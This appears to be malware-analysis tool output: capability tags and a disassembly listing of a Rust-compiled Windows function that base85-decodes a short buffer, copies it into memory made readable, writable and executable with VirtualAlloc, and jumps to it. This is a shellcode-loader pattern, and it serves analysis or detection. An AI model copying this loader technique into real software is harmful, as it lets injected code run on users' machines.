Function at 0x140001660
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
mov qword [rsp + 0x28], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x28]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::hd03a57c8768adc6f
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
mov byte [rax + rcx], 0x64
mov rdx, qword [rsp + 0x38]
inc rdx
mov qword [rsp + 0x38], rdx
cmp rdx, qword [rsp + 0x30]
jne 0x1400016be
lea rcx, [rsp + 0x28]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::hd03a57c8768adc6f
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x28]
mov byte [rax + rdx], 0x64
mov rdx, qword [rsp + 0x38]
inc rdx
mov qword [rsp + 0x38], rdx
cmp rdx, qword [rsp + 0x30]
jne 0x1400016ea
lea rcx, [rsp + 0x28]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::hd03a57c8768adc6f
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x28]
mov byte [rax + rdx], 0x64
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
inc r8
mov qword [rsp + 0x38], r8
lea rcx, [rsp + 0x48]
call dbg.from_utf8_lossy
mov r14, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
test r14, r14
mov r15, r14
cmove r15, rbx
mov rsi, qword [rsp + 0x58]
test rsi, rsi
je 0x14000176a
js 0x1400018ea
mov r12, rsi
not r12
shr r12, 0x3f
mov rax, qword [0x1400ef008]
movzx eax, byte [rax]
mov rcx, rsi
mov rdx, r12
call sym.__rust_alloc
mov rdi, rax
test rax, rax
jne 0x14000176f
mov rcx, r12
mov rdx, rsi
call dbg.handle_alloc_error
jmp 0x1400018ef
mov edi, 1
mov rcx, rdi
mov rdx, r15
mov r8, rsi
call sym.memcpy
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140001797
mov rcx, qword [rsp + 0x28]
mov r8d, 1
call sym.__rust_dealloc
test r14, r14
je 0x1400017b2
test rbx, rbx
je 0x1400017b2
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
lea rcx, [rsp + 0x28]
mov rdx, rdi
mov r8, rsi
call sym.base85::decode::ha1f25207a7d64b2e
mov rbx, qword [rsp + 0x28]
test rbx, rbx
je 0x140001847
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
xor ecx, ecx
mov rdx, r15
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r12, rax
test rax, rax
je 0x1400018ae
mov rcx, r12
mov rdx, rbx
mov r8, r15
call sym.memcpy
call r12
test r14, r14
je 0x14000181f
mov r8d, 1
mov rcx, rbx
mov rdx, r14
call sym.__rust_dealloc
test rsi, rsi
je 0x140001835
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
movzx eax, word [rsp + 0x30]
mov word [rsp + 0x46], ax
lea rax, [rsp + 0x46]
mov qword [rsp + 0x78], rax
lea rax, [sym.__base85::Error_as_core::fmt::Display_::fmt::h5163084c51252e97]
mov qword [rsp + 0x80], rax
lea rax, str.Base85:
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rdx, str.src_main.rs
lea rcx, [rsp + 0x48]
call dbg.panic_fmt
jmp 0x1400018ef
lea rax, str.Failed_to_allocate_memory
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rax, str.Failed_to_allocate_memory
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rdx, str.src_main.rs
lea rcx, [rsp + 0x48]
call dbg.panic_fmt
jmp 0x1400018ef
call dbg.capacity_overflow
ud2